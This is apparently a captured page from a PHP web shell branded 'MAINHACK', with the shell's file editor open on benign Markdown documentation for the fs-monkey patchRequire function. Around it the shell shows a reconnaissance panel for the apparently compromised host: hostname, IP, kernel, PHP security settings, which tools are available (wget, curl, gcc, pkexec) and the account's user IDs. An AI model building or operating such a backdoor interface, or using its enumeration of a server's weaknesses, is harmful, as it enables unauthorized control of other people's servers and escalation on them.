[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: patchRequire.md
# `patchRequire(vol[, unixifyPaths[, Module]])` Patches Node's `module` module to use a given *fs-like* object `vol` for module loading. - `vol` - fs-like object - `unixifyPaths` *(optional)* - whether to convert Windows paths to unix style paths, defaults to `false`. - `Module` *(optional)* - a module to patch, defaults to `require('module')` Monkey-patches the `require` function in Node, this way you can make Node.js to *require* modules from your custom filesystem. It expects an object with three filesystem methods implemented that are needed for the `require` function to work. ```js let vol = { readFileSync: () => {}, realpathSync: () => {}, statSync: () => {}, }; ``` If you want to make Node.js to *require* your files from memory, you don't need to implement those functions yourself, just use the [`memfs`](https://github.com/streamich/memfs) package: ```js import {vol} from 'memfs'; import {patchRequire} from 'fs-monkey'; vol.fromJSON({'/foo/bar.js': 'console.log("obi trice");'}); patchRequire(vol); require('/foo/bar'); // obi trice ``` Now the `require` function will only load the files from the `vol` file system, but not from the actual filesystem on the disk. If you want the `require` function to load modules from both file systems, use the [`unionfs`](https://github.com/streamich/unionfs) package to combine both filesystems into a union: ```js import {vol} from 'memfs'; import {patchRequire} from 'fs-monkey'; import {ufs} from 'unionfs'; import * as fs from 'fs'; vol.fromJSON({'/foo/bar.js': 'console.log("obi trice");'}); ufs .use(vol) .use(fs); patchRequire(ufs); require('/foo/bar.js'); // obi trice ```
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002